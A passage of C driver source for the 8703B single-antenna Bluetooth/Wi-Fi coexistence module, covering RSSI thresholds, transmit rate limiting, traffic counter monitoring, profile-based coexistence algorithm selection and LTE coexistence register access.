return pCoexSta->preWifiRssiState[index];
}
if( (pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_LOW) ||
(pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_STAY_LOW))
{
if(wifiRssi >= (rssiThresh+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
wifiRssiState = BTC_RSSI_STATE_MEDIUM;
}
else
{
wifiRssiState = BTC_RSSI_STATE_STAY_LOW;
}
}
else if( (pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_MEDIUM) ||
(pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_STAY_MEDIUM))
{
if(wifiRssi >= (rssiThresh1+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
wifiRssiState = BTC_RSSI_STATE_HIGH;
}
else if(wifiRssi < rssiThresh)
{
wifiRssiState = BTC_RSSI_STATE_LOW;
}
else
{
wifiRssiState = BTC_RSSI_STATE_STAY_MEDIUM;
}
}
else
{
if(wifiRssi < rssiThresh1)
{
wifiRssiState = BTC_RSSI_STATE_MEDIUM;
}
else
{
wifiRssiState = BTC_RSSI_STATE_STAY_HIGH;
}
}
}
pCoexSta->preWifiRssiState[index] = wifiRssiState;
return wifiRssiState;
}
VOID
halbtc8703b1ant_UpdateRaMask(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u4Byte disRateMask
)
{
pCoexDm->curRaMask = disRateMask;
if( bForceExec || (pCoexDm->preRaMask != pCoexDm->curRaMask))
{
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_UPDATE_RAMASK, &pCoexDm->curRaMask);
}
pCoexDm->preRaMask = pCoexDm->curRaMask;
}
VOID
halbtc8703b1ant_AutoRateFallbackRetry(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte type
)
{
BOOLEAN bWifiUnderBMode=FALSE;
pCoexDm->curArfrType = type;
if( bForceExec || (pCoexDm->preArfrType != pCoexDm->curArfrType))
{
switch(pCoexDm->curArfrType)
{
case 0: // normal mode
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x430, pCoexDm->backupArfrCnt1);
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x434, pCoexDm->backupArfrCnt2);
break;
case 1:
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_UNDER_B_MODE, &bWifiUnderBMode);
if(bWifiUnderBMode)
{
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x430, 0x0);
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x434, 0x01010101);
}
else
{
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x430, 0x0);
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x434, 0x04030201);
}
break;
default:
break;
}
}
pCoexDm->preArfrType = pCoexDm->curArfrType;
}
VOID
halbtc8703b1ant_RetryLimit(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte type
)
{
pCoexDm->curRetryLimitType = type;
if( bForceExec || (pCoexDm->preRetryLimitType != pCoexDm->curRetryLimitType))
{
switch(pCoexDm->curRetryLimitType)
{
case 0: // normal mode
pBtCoexist->fBtcWrite2Byte(pBtCoexist, 0x42a, pCoexDm->backupRetryLimit);
break;
case 1: // retry limit=8
pBtCoexist->fBtcWrite2Byte(pBtCoexist, 0x42a, 0x0808);
break;
default:
break;
}
}
pCoexDm->preRetryLimitType = pCoexDm->curRetryLimitType;
}
VOID
halbtc8703b1ant_AmpduMaxTime(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte type
)
{
pCoexDm->curAmpduTimeType = type;
if( bForceExec || (pCoexDm->preAmpduTimeType != pCoexDm->curAmpduTimeType))
{
switch(pCoexDm->curAmpduTimeType)
{
case 0: // normal mode
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x456, pCoexDm->backupAmpduMaxTime);
break;
case 1: // AMPDU timw = 0x38 * 32us
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x456, 0x38);
break;
default:
break;
}
}
pCoexDm->preAmpduTimeType = pCoexDm->curAmpduTimeType;
}
VOID
halbtc8703b1ant_LimitedTx(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte raMaskType,
IN u1Byte arfrType,
IN u1Byte retryLimitType,
IN u1Byte ampduTimeType
)
{
switch(raMaskType)
{
case 0: // normal mode
halbtc8703b1ant_UpdateRaMask(pBtCoexist, bForceExec, 0x0);
break;
case 1: // disable cck 1/2
halbtc8703b1ant_UpdateRaMask(pBtCoexist, bForceExec, 0x00000003);
break;
case 2: // disable cck 1/2/5.5, ofdm 6/9/12/18/24, mcs 0/1/2/3/4
halbtc8703b1ant_UpdateRaMask(pBtCoexist, bForceExec, 0x0001f1f7);
break;
default:
break;
}
halbtc8703b1ant_AutoRateFallbackRetry(pBtCoexist, bForceExec, arfrType);
halbtc8703b1ant_RetryLimit(pBtCoexist, bForceExec, retryLimitType);
halbtc8703b1ant_AmpduMaxTime(pBtCoexist, bForceExec, ampduTimeType);
}
VOID
halbtc8703b1ant_LimitedRx(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN BOOLEAN bRejApAggPkt,
IN BOOLEAN bBtCtrlAggBufSize,
IN u1Byte aggBufSize
)
{
BOOLEAN bRejectRxAgg=bRejApAggPkt;
BOOLEAN bBtCtrlRxAggSize=bBtCtrlAggBufSize;
u1Byte rxAggSize=aggBufSize;
//============================================
// Rx Aggregation related setting
//============================================
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_TO_REJ_AP_AGG_PKT, &bRejectRxAgg);
// decide BT control aggregation buf size or not
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_CTRL_AGG_SIZE, &bBtCtrlRxAggSize);
// aggregation buf size, only work when BT control Rx aggregation size.
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_U1_AGG_BUF_SIZE, &rxAggSize);
// real update aggregation setting
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_AGGREGATE_CTRL, NULL);
}
VOID
halbtc8703b1ant_QueryBtInfo(
IN PBTC_COEXIST pBtCoexist
)
{
u1Byte H2C_Parameter[1] ={0};
pCoexSta->bC2hBtInfoReqSent = TRUE;
H2C_Parameter[0] |= BIT0; // trigger
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], Query Bt Info, FW write 0x61=0x%x\n",
H2C_Parameter[0]));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x61, 1, H2C_Parameter);
}
VOID
halbtc8703b1ant_MonitorBtCtr(
IN PBTC_COEXIST pBtCoexist
)
{
u4Byte regHPTxRx, regLPTxRx, u4Tmp, u4Tmp1;
u4Byte regHPTx=0, regHPRx=0, regLPTx=0, regLPRx=0;
u1Byte u1Tmp, u1Tmp1;
s4Byte wifiRssi;
static u1Byte NumOfBtCounterChk = 0;
//to avoid 0x76e[3] = 1 (WLAN_Act control by PTA) during IPS
//if (! (pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x76e) & 0x8) )
if (pCoexSta->bUnderIps)
{
//pCoexSta->highPriorityTx = 65535;
//pCoexSta->highPriorityRx = 65535;
//pCoexSta->lowPriorityTx = 65535;
//pCoexSta->lowPriorityRx = 65535;
//return;
}
regHPTxRx = 0x770;
regLPTxRx = 0x774;
u4Tmp = pBtCoexist->fBtcRead4Byte(pBtCoexist, regHPTxRx);
regHPTx = u4Tmp & bMaskLWord;
regHPRx = (u4Tmp & bMaskHWord)>>16;
u4Tmp = pBtCoexist->fBtcRead4Byte(pBtCoexist, regLPTxRx);
regLPTx = u4Tmp & bMaskLWord;
regLPRx = (u4Tmp & bMaskHWord)>>16;
pCoexSta->highPriorityTx = regHPTx;
pCoexSta->highPriorityRx = regHPRx;
pCoexSta->lowPriorityTx = regLPTx;
pCoexSta->lowPriorityRx = regLPRx;
if( (pCoexSta->lowPriorityTx > 1150) && (!pCoexSta->bC2hBtInquiryPage))
pCoexSta->popEventCnt++;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Hi-Pri Rx/Tx: %d/%d, Lo-Pri Rx/Tx: %d/%d\n",
regHPRx, regHPTx, regLPRx, regLPTx));
// reset counter
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x76e, 0xc);
if ((regHPTx == 0) && (regHPRx ==0) && (regLPTx == 0) && (regLPRx == 0))
{
NumOfBtCounterChk++;
if (NumOfBtCounterChk >= 3)
{
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
NumOfBtCounterChk = 0;
}
}
}
VOID
halbtc8703b1ant_MonitorWiFiCtr(
IN PBTC_COEXIST pBtCoexist
)
{
u4Byte u4Tmp;
u2Byte u2Tmp[3];
s4Byte wifiRssi=0;
BOOLEAN bWifiBusy = FALSE, bWifiUnderBMode = FALSE;
static u1Byte nCCKLockCounter = 0;
u4Byte TotalCnt;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_S4_WIFI_RSSI, &wifiRssi);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_UNDER_B_MODE, &bWifiUnderBMode);
if (pCoexSta->bUnderIps)
{
pCoexSta->nCRCOK_CCK = 0;
pCoexSta->nCRCOK_11g = 0;
pCoexSta->nCRCOK_11n = 0;
pCoexSta->nCRCOK_11nAgg = 0;
pCoexSta->nCRCErr_CCK = 0;
pCoexSta->nCRCErr_11g = 0;
pCoexSta->nCRCErr_11n = 0;
pCoexSta->nCRCErr_11nAgg = 0;
}
else
{
pCoexSta->nCRCOK_CCK = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xf88);
pCoexSta->nCRCOK_11g = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xf94);
pCoexSta->nCRCOK_11n = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xf90);
pCoexSta->nCRCOK_11nAgg= pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xfb8);
pCoexSta->nCRCErr_CCK = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0xf84);
pCoexSta->nCRCErr_11g = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xf96);
pCoexSta->nCRCErr_11n = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xf92);
pCoexSta->nCRCErr_11nAgg = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0xfba);
}
//reset counter
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0xf16, 0x1, 0x1);
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0xf16, 0x1, 0x0);
if ( (bWifiBusy) && (wifiRssi >= 30) && (!bWifiUnderBMode))
{
TotalCnt = pCoexSta->nCRCOK_CCK + pCoexSta->nCRCOK_11g + pCoexSta->nCRCOK_11n +
pCoexSta->nCRCOK_11nAgg;
if ( (pCoexDm->btStatus == BT_8703B_1ANT_BT_STATUS_ACL_BUSY) ||
(pCoexDm->btStatus == BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY) ||
(pCoexDm->btStatus == BT_8703B_1ANT_BT_STATUS_SCO_BUSY) )
{
if (pCoexSta->nCRCOK_CCK >(TotalCnt -pCoexSta->nCRCOK_CCK))
{
if (nCCKLockCounter < 3)
nCCKLockCounter++;
}
else
{
if (nCCKLockCounter > 0)
nCCKLockCounter--;
}
}
else
{
if (nCCKLockCounter > 0)
nCCKLockCounter--;
}
}
else
{
if (nCCKLockCounter > 0)
nCCKLockCounter--;
}
if (!pCoexSta->bPreCCKLock)
{
if (nCCKLockCounter >= 3)
pCoexSta->bCCKLock = TRUE;
else
pCoexSta->bCCKLock = FALSE;
}
else
{
if (nCCKLockCounter == 0)
pCoexSta->bCCKLock = FALSE;
else
pCoexSta->bCCKLock = TRUE;
}
if (pCoexSta->bCCKLock)
pCoexSta->bCCKEverLock = TRUE;
pCoexSta->bPreCCKLock = pCoexSta->bCCKLock;
}
BOOLEAN
halbtc8703b1ant_IsWifiStatusChanged(
IN PBTC_COEXIST pBtCoexist
)
{
static BOOLEAN bPreWifiBusy=FALSE, bPreUnder4way=FALSE, bPreBtHsOn=FALSE;
BOOLEAN bWifiBusy=FALSE, bUnder4way=FALSE, bBtHsOn=FALSE;
BOOLEAN bWifiConnected=FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_4_WAY_PROGRESS, &bUnder4way);
if(bWifiConnected)
{
if(bWifiBusy != bPreWifiBusy)
{
bPreWifiBusy = bWifiBusy;
return TRUE;
}
if(bUnder4way != bPreUnder4way)
{
bPreUnder4way = bUnder4way;
return TRUE;
}
if(bBtHsOn != bPreBtHsOn)
{
bPreBtHsOn = bBtHsOn;
return TRUE;
}
}
return FALSE;
}
VOID
halbtc8703b1ant_UpdateBtLinkInfo(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bBtHsOn=FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
pBtLinkInfo->bBtLinkExist = pCoexSta->bBtLinkExist;
pBtLinkInfo->bScoExist = pCoexSta->bScoExist;
pBtLinkInfo->bA2dpExist = pCoexSta->bA2dpExist;
pBtLinkInfo->bPanExist = pCoexSta->bPanExist;
pBtLinkInfo->bHidExist = pCoexSta->bHidExist;
pBtLinkInfo->bBtHiPriLinkExist = pCoexSta->bBtHiPriLinkExist;
// work around for HS mode.
if(bBtHsOn)
{
pBtLinkInfo->bPanExist = TRUE;
pBtLinkInfo->bBtLinkExist = TRUE;
}
// check if Sco only
if( pBtLinkInfo->bScoExist &&
!pBtLinkInfo->bA2dpExist &&
!pBtLinkInfo->bPanExist &&
!pBtLinkInfo->bHidExist )
pBtLinkInfo->bScoOnly = TRUE;
else
pBtLinkInfo->bScoOnly = FALSE;
// check if A2dp only
if( !pBtLinkInfo->bScoExist &&
pBtLinkInfo->bA2dpExist &&
!pBtLinkInfo->bPanExist &&
!pBtLinkInfo->bHidExist )
pBtLinkInfo->bA2dpOnly = TRUE;
else
pBtLinkInfo->bA2dpOnly = FALSE;
// check if Pan only
if( !pBtLinkInfo->bScoExist &&
!pBtLinkInfo->bA2dpExist &&
pBtLinkInfo->bPanExist &&
!pBtLinkInfo->bHidExist )
pBtLinkInfo->bPanOnly = TRUE;
else
pBtLinkInfo->bPanOnly = FALSE;
// check if Hid only
if( !pBtLinkInfo->bScoExist &&
!pBtLinkInfo->bA2dpExist &&
!pBtLinkInfo->bPanExist &&
pBtLinkInfo->bHidExist )
pBtLinkInfo->bHidOnly = TRUE;
else
pBtLinkInfo->bHidOnly = FALSE;
}
VOID
halbtc8703b1ant_UpdateWifiChannelInfo(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
u1Byte H2C_Parameter[3] ={0};
u4Byte wifiBw;
u1Byte wifiCentralChnl;
BOOLEAN bWifiUnderBMode = FALSE;
// only 2.4G we need to inform bt the chnl mask
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U1_WIFI_CENTRAL_CHNL, &wifiCentralChnl);
if( (BTC_MEDIA_CONNECT == type) &&
(wifiCentralChnl <= 14) )
{
H2C_Parameter[0] = 0x1; //enable BT AFH skip WL channel for 8703b because BT Rx LO interference
//H2C_Parameter[0] = 0x0;
H2C_Parameter[1] = wifiCentralChnl;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_BW, &wifiBw);
if(BTC_WIFI_BW_HT40 == wifiBw)
H2C_Parameter[2] = 0x30;
else
H2C_Parameter[2] = 0x20;
}
pCoexDm->wifiChnlInfo[0] = H2C_Parameter[0];
pCoexDm->wifiChnlInfo[1] = H2C_Parameter[1];
pCoexDm->wifiChnlInfo[2] = H2C_Parameter[2];
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], FW write 0x66=0x%x\n",
H2C_Parameter[0]<<16|H2C_Parameter[1]<<8|H2C_Parameter[2]));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x66, 3, H2C_Parameter);
}
u1Byte
halbtc8703b1ant_ActionAlgorithm(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bBtHsOn=FALSE;
u1Byte algorithm=BT_8703B_1ANT_COEX_ALGO_UNDEFINED;
u1Byte numOfDiffProfile=0;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
if(!pBtLinkInfo->bBtLinkExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], No BT link exists!!!\n"));
return algorithm;
}
if(pBtLinkInfo->bScoExist)
numOfDiffProfile++;
if(pBtLinkInfo->bHidExist)
numOfDiffProfile++;
if(pBtLinkInfo->bPanExist)
numOfDiffProfile++;
if(pBtLinkInfo->bA2dpExist)
numOfDiffProfile++;
if(numOfDiffProfile == 1)
{
if(pBtLinkInfo->bScoExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO only\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_SCO;
}
else
{
if(pBtLinkInfo->bHidExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID only\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID;
}
else if(pBtLinkInfo->bA2dpExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = A2DP only\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_A2DP;
}
else if(pBtLinkInfo->bPanExist)
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = PAN(HS) only\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANHS;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = PAN(EDR) only\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR;
}
}
}
}
else if(numOfDiffProfile == 2)
{
if(pBtLinkInfo->bScoExist)
{
if(pBtLinkInfo->bHidExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + HID\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID;
}
else if(pBtLinkInfo->bA2dpExist)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + A2DP ==> SCO\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_SCO;
}
else if(pBtLinkInfo->bPanExist)
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_SCO;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + PAN(EDR)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_HID;
}
}
}
else
{
if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bA2dpExist )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID + A2DP\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID_A2DP;
}
else if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bPanExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID_A2DP;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID + PAN(EDR)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_HID;
}
}
else if( pBtLinkInfo->bPanExist &&
pBtLinkInfo->bA2dpExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = A2DP + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_A2DP_PANHS;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = A2DP + PAN(EDR)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_A2DP;
}
}
}
}
else if(numOfDiffProfile == 3)
{
if(pBtLinkInfo->bScoExist)
{
if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bA2dpExist )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + HID + A2DP ==> HID\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID;
}
else if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bPanExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + HID + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID_A2DP;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + HID + PAN(EDR)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_HID;
}
}
else if( pBtLinkInfo->bPanExist &&
pBtLinkInfo->bA2dpExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + A2DP + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_SCO;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + A2DP + PAN(EDR) ==> HID\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_HID;
}
}
}
else
{
if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bPanExist &&
pBtLinkInfo->bA2dpExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID + A2DP + PAN(HS)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID_A2DP;
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = HID + A2DP + PAN(EDR)\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_HID_A2DP_PANEDR;
}
}
}
}
else if(numOfDiffProfile >= 3)
{
if(pBtLinkInfo->bScoExist)
{
if( pBtLinkInfo->bHidExist &&
pBtLinkInfo->bPanExist &&
pBtLinkInfo->bA2dpExist )
{
if(bBtHsOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Error!!! BT Profile = SCO + HID + A2DP + PAN(HS)\n"));
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Profile = SCO + HID + A2DP + PAN(EDR)==>PAN(EDR)+HID\n"));
algorithm = BT_8703B_1ANT_COEX_ALGO_PANEDR_HID;
}
}
}
}
return algorithm;
}
VOID
halbtc8703b1ant_SetBtAutoReport(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bEnableAutoReport
)
{
u1Byte H2C_Parameter[1] ={0};
H2C_Parameter[0] = 0;
if(bEnableAutoReport)
{
H2C_Parameter[0] |= BIT0;
}
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], BT FW auto report : %s, FW write 0x68=0x%x\n",
(bEnableAutoReport? "Enabled!!":"Disabled!!"), H2C_Parameter[0]));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x68, 1, H2C_Parameter);
}
VOID
halbtc8703b1ant_BtAutoReport(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN BOOLEAN bEnableAutoReport
)
{
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], %s BT Auto report = %s\n",
(bForceExec? "force to":""), ((bEnableAutoReport)? "Enabled":"Disabled")));
pCoexDm->bCurBtAutoReport = bEnableAutoReport;
if(!bForceExec)
{
if(pCoexDm->bPreBtAutoReport == pCoexDm->bCurBtAutoReport)
return;
}
halbtc8703b1ant_SetBtAutoReport(pBtCoexist, pCoexDm->bCurBtAutoReport);
pCoexDm->bPreBtAutoReport = pCoexDm->bCurBtAutoReport;
}
VOID
halbtc8703b1ant_SetSwPenaltyTxRateAdaptive(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bLowPenaltyRa
)
{
u1Byte H2C_Parameter[6] ={0};
H2C_Parameter[0] = 0x6; // opCode, 0x6= Retry_Penalty
if(bLowPenaltyRa)
{
H2C_Parameter[1] |= BIT0;
H2C_Parameter[2] = 0x00; //normal rate except MCS7/6/5, OFDM54/48/36
H2C_Parameter[3] = 0xf7; //MCS7 or OFDM54
H2C_Parameter[4] = 0xf8; //MCS6 or OFDM48
H2C_Parameter[5] = 0xf9; //MCS5 or OFDM36
}
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set WiFi Low-Penalty Retry: %s",
(bLowPenaltyRa? "ON!!":"OFF!!") ));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x69, 6, H2C_Parameter);
}
VOID
halbtc8703b1ant_LowPenaltyRa(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN BOOLEAN bLowPenaltyRa
)
{
pCoexDm->bCurLowPenaltyRa = bLowPenaltyRa;
if(!bForceExec)
{
if(pCoexDm->bPreLowPenaltyRa == pCoexDm->bCurLowPenaltyRa)
return;
}
halbtc8703b1ant_SetSwPenaltyTxRateAdaptive(pBtCoexist, pCoexDm->bCurLowPenaltyRa);
pCoexDm->bPreLowPenaltyRa = pCoexDm->bCurLowPenaltyRa;
}
u4Byte
halbtc8703b1ant_LTECoex_InDirectReadReg(
IN PBTC_COEXIST pBtCoexist,
IN u2Byte RegAddr
)
{
u4Byte j =0;
//wait for ready bit before access 0x7c0
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x7c0, 0x800F0000|RegAddr);
do
{
j++;
}while( ((pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x7c3) & BIT5) ==0) && (j <BT_8703B_1ANT_LTECOEX_INDIRECTREG_ACCESS_TIMEOUT) );
return(pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x7c8)); //get read data
}
VOID
halbtc8703b1ant_LTECoex_InDirectWriteReg(
IN PBTC_COEXIST pBtCoexist,
IN u2Byte RegAddr,
IN u4Byte BitMask,
IN u4Byte RegValue
)
{
u4Byte val, i=0, j=0, bitpos = 0;
if (BitMask == 0x0)
return;
if (BitMask == 0xffffffff)
{
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x7c4, RegValue); //put write data
//wait for ready bit before access 0x7c0
do
{
j++;
}while( ((pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x7c3) & BIT5) ==0) && (j <BT_8703B_1ANT_LTECOEX_INDIRECTREG_ACCESS_TIMEOUT) );
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x7c0, 0xc00F0000|RegAddr);
}
else
{
for(i=0; i<=31; i++)
{
if ( ((BitMask >> i) & 0x1) == 0x1)
{
bitpos = i;
break;
}
}
//read back register value before write
val = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, RegAddr);
val = (val & (~BitMask)) | (RegValue << bitpos);
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x7c4, val); //put write data
//wait for ready bit before access 0x7c0
do
{
j++;
}while( ((pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x7c3) & BIT5) ==0) && (j <BT_8703B_1ANT_LTECOEX_INDIRECTREG_ACCESS_TIMEOUT) );
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x7c0, 0xc00F0000|RegAddr);
}
}
void
halbtc8703b1ant_LTECoex_Enable(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bEnable
)
{
u1Byte val;
val = (bEnable)? 1 : 0;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, 0x80, val); //0x38[7]
}
void
halbtc8703b1ant_LTECoex_PathControlOwner(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bWiFiControl
)
{
u1Byte val;
val = (bWiFiControl)? 1 : 0;
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x73, 0x4, val); //0x70[26]
}
void
halbtc8703b1ant_LTECoex_Set_GNT_BT(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte nControlBlock,
IN BOOLEAN bSWControl,
IN u1Byte nState
)
{
u4Byte val=0, BitMask;
nState = nState & 0x1;
val = (bSWControl)? ((nState<<1) | 0x1) : 0;
switch(nControlBlock)
{
case RFC_AND_BB:
default:
BitMask = 0xc000;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[15:14]
BitMask = 0x0c00;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[11:10]
break;
case RFC_ONLY:
BitMask = 0xc000;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[15:14]
break;
case BB_ONLY:
BitMask = 0x0c00;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[11:10]
break;
}
}
void
halbtc8703b1ant_LTECoex_Set_GNT_WL(
IN PBTC_COEXIST pBtCoexist,
